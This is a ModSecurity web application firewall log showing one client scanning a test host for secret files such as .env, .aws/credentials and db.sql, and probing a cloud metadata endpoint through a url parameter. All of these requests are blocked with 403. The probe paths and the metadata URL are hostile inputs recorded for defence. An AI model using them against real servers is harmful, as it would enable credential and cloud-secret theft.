[Tue Aug 05 11:03:48.553134 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-wAAABE&quot;]
[Tue Aug 05 11:03:48.573048 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/db.sql&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ_AAAABE&quot;]
[Tue Aug 05 11:03:48.573353 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/db.sql&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ_AAAABE&quot;]
[Tue Aug 05 11:03:48.573505 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/db.sql&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ_AAAABE&quot;]
[Tue Aug 05 11:03:48.634778 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ_wAAABE&quot;]
[Tue Aug 05 11:03:48.635165 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ_wAAABE&quot;]
[Tue Aug 05 11:03:48.635321 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ_wAAABE&quot;]
[Tue Aug 05 11:03:48.655578 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /tmp/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/config&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKAAAAABE&quot;]
[Tue Aug 05 11:03:48.655767 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/config&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKAAAAABE&quot;]
[Tue Aug 05 11:03:48.655926 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/config&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKAAAAABE&quot;]
[Tue Aug 05 11:03:48.678553 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /tmp/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/credentials&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKAQAAABE&quot;]
[Tue Aug 05 11:03:48.678747 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/credentials&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKAQAAABE&quot;]
[Tue Aug 05 11:03:48.678904 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/credentials&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKAQAAABE&quot;]
[Tue Aug 05 11:03:48.760723 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKBAAAABE&quot;]
[Tue Aug 05 11:03:48.760897 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKBAAAABE&quot;]
[Tue Aug 05 11:03:48.761058 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKBAAAABE&quot;]
[Tue Aug 05 11:03:48.826255 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db.sql&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKBwAAABE&quot;]
[Tue Aug 05 11:03:48.826602 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db.sql&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKBwAAABE&quot;]
[Tue Aug 05 11:03:48.826774 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db.sql&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKBwAAABE&quot;]
[Tue Aug 05 11:03:48.933672 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vault/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKDAAAABE&quot;]
[Tue Aug 05 11:03:48.933848 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKDAAAABE&quot;]
[Tue Aug 05 11:03:48.933989 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKDAAAABE&quot;]
[Tue Aug 05 11:03:48.974637 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /vendor/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/config&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKDgAAABE&quot;]
[Tue Aug 05 11:03:48.974817 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/config&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKDgAAABE&quot;]
[Tue Aug 05 11:03:48.975000 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/config&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKDgAAABE&quot;]
[Tue Aug 05 11:03:48.995301 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /vendor/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/credentials&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKDwAAABE&quot;]
[Tue Aug 05 11:03:48.995465 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/credentials&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKDwAAABE&quot;]
[Tue Aug 05 11:03:48.995625 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/credentials&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqKDwAAABE&quot;]
[Tue Aug 05 11:03:49.391951 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKEgAAABE&quot;]
[Tue Aug 05 11:03:49.392206 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKEgAAABE&quot;]
[Tue Aug 05 11:03:49.392393 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKEgAAABE&quot;]
[Tue Aug 05 11:03:49.412220 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/aws/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKEwAAABE&quot;]
